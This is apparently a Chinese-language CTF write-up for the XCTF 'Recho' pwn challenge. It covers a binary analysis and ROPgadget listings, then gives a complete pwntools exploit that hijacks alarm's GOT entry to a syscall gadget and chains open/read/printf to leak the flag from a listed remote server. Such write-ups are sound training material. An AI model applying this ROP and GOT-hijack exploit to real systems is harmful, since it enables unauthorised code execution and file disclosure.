攻防世界 Pwn Recho
1.题目下载地址
2.checksec
3.IDA分析
可以看到这个while是死循环
所以要学会使用pwntools的shutdown功能来退出循环
但是循环退出之后就不能再进入了
接下来要看一下漏洞在哪
这个题目有个明显后门,在data段发现有flag。可以将它read到bss段中,再通过write输出出来
在gdb动态调试时,分析alarm,发现有
有syscall系统调用
漏洞利用思路如下:
-
- alrm函数got表劫持到syscall位置
-
- open(‘flag’,READONLY)
-
- 通过read将flag写入到bss段,之后再write输出
ROP链条:
syscall>>flag>>read>>write
ROP地址
└─$ ROPgadget --binary ./Recho --only 'pop|ret' 148 ⨯ 1 ⚙
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x00000000004006fc : pop rax ; ret <--------------------
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret <-----------------------
0x00000000004006fe : pop rdx ; ret <------------------------
0x00000000004008a1 : pop rsi ; pop r15 ; ret <---------------------
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b6 : ret
Unique gadgets found: 13
└─$ ROPgadget --binary ./Recho --only 'add|ret' 130 ⨯ 1 ⚙
Gadgets information
============================================================
0x00000000004008af : add bl, dh ; ret
0x00000000004008ad : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004008ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004008ac : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400830 : add byte ptr [rax], al ; add cl, cl ; ret
0x00000000004008ae : add byte ptr [rax], al ; ret
0x00000000004006f8 : add byte ptr [rcx], al ; ret
0x000000000040070d : add byte ptr [rdi], al ; ret <---------------------------
0x0000000000400832 : add cl, cl ; ret
0x00000000004006f4 : add eax, 0x20098e ; add ebx, esi ; ret
0x000000000040070a : add eax, 0x70093eb ; ret
0x00000000004006f9 : add ebx, esi ; ret
0x00000000004005b3 : add esp, 8 ; ret
0x00000000004005b2 : add rsp, 8 ; ret
0x00000000004005b6 : ret
Unique gadgets found: 15
4.exp
from pwn import *
context.log_level = 'debug'
elf=ELF('./Recho')
p=remote('111.200.241.244',57662)
prdi=0x4008a3
prsi=0x4008a1
prdx=0x4006fe
prax=0x4006fc
padd=0x40070d
alarm=elf.plt['alarm']
read=elf.plt['read']
write=elf.plt['write']
printf=elf.plt['printf']
alarm_got=elf.got['alarm']
flag=0x601058
bss=0x601090
payload='a'*0x38
payload+=p64(prax)+p64(0x5)
payload+=p64(prdi)+p64(alarm_got)
payload+=p64(padd)
payload+=p64(prax)+p64(0x2)
payload+=p64(prdi)+p64(flag)
payload+=p64(prdx)+p64(0)
payload+=p64(prsi)+p64(0)+p64(0)
payload+=p64(alarm)
payload+=p64(prdi)+p64(3)
payload+=p64(prsi)+p64(bss+0x500)+p64(0)
payload+=p64(prdx)+p64(0x30)
payload+=p64(read)
payload+=p64(prdi)+p64(bss+0x500)
payload+=p64(printf)
p.recvuntil('Welcome to Recho server!\n')
p.sendline(str(0x200))
payload=payload.ljust(0x200,'\x00')
p.send(payload)
p.recv()
p.shutdown('send')
p.interactive()
p.close()